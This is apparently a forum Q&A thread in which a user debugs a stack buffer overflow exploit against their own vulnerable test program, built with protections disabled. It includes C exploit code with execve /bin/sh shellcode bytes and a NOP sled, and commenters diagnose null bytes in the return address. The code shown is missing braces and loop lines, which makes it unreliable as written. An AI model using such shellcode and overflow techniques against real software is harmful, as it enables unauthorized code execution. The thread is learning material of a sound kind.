I'm trying to exploit a standard buffer overflow vulnerability in a program that uses strcpy() to fill a 200 char buffer, without checking boundaries, and compiled with -z execstack and -fno-stack-protector. I have also disable kernel randomize_va_space.

First thing I do is opening gdb, I test for the correct lenght to overwrite the return addr, it is 222 so I wrote an exploit.c program as show:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

char *shellcode = "\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05";

#define BUFF_SIZE 222

unsigned long get_sp(void){
    __asm__("mov %rsp, %rax");

int main(int argc, char *argv[]){
    if (argc != 2){
        printf("give one argument\n");
    long *addr_ptr, ret, esp;
    int offset, i;
    char *ptr, buffer[BUFF_SIZE];

    offset = atoi(argv[1]);
    esp = get_sp();
    ret = esp - offset;
    printf("esp:0x%016lx\tret:0x%016lx\n", esp, ret);
    ptr = buffer;
    addr_ptr = (long*)(buffer);
    //Filling the buffer         
        *(addr_ptr++) = ret;
        *(ptr+i) = '\x90';
        *(ptr+i+16) = shellcode[i];
    buffer[BUFF_SIZE-1] = '\x0';

    execl("./buffer_vuln", "buffer_vuln", buffer, NULL);

This sends the exploit to my "buffer_vuln" program ; I fill the buffer with ret (that is modified by an offset), and a NOP sled leading to the shellcode. I didn't get any result from trying this even on a long offset range (-250, 3000). The targeted program prints out the address and content of its array, everything seems right but that I cannot see the return addresses printed after the NOPs, wonder where this fails to open a shell.


I switched to 32bits so the stack address doesn't contain any Zero. I also compiled the shellcode and made sure it worked on it's own. Exploit works ! enter image description here Going to try for amd64 now, Thanks !

  • The return address contains null bytes. Since execl expects a pointer to a null-terminated string, the buffer gets terminated early.
    – grc
    Commented Dec 27, 2016 at 9:42
  • Your return address contains differents null bytes "\x00". In order to test if everything works try to bypass the "issue" compiling the sources with -m32 option (32 bit arch)
    – nemux
    Commented Dec 27, 2016 at 10:11
  • Thanks, I edited the exploit, filling with return address at 6 bytes interval, now I can see characters of the return addr printed out when launching the exploit, and this also takes much longer to try a thousand offsets... Still I wasn't able to exploit the program yet, see the pic, picpaste.com/Capture_du_2016-12-27_11-12-39-RQOmBmoH.png
    – Yvain
    Commented Dec 27, 2016 at 10:14
  • @nemux I recompiled the target and exploit using -m32 option, found out the "correct" buffer lenght and modified the exploit so that new ret is 4 bytes and written with 4 bytes steps. The output is really alike the picture I posted in comments. No shell.
    – Yvain
    Commented Dec 27, 2016 at 10:42
  • Indeed NULL bytes where interfering, I have been able to freeze the program at offset -20 and -16, but I'm not having a shell. As I have configured the exploit there should be 32 hits into the NOP's so I suppose this freeze might not be a sign of EIP having reached the shellcode.
    – Yvain
    Commented Dec 29, 2016 at 18:03


You must log in to answer this question.

Browse other questions tagged .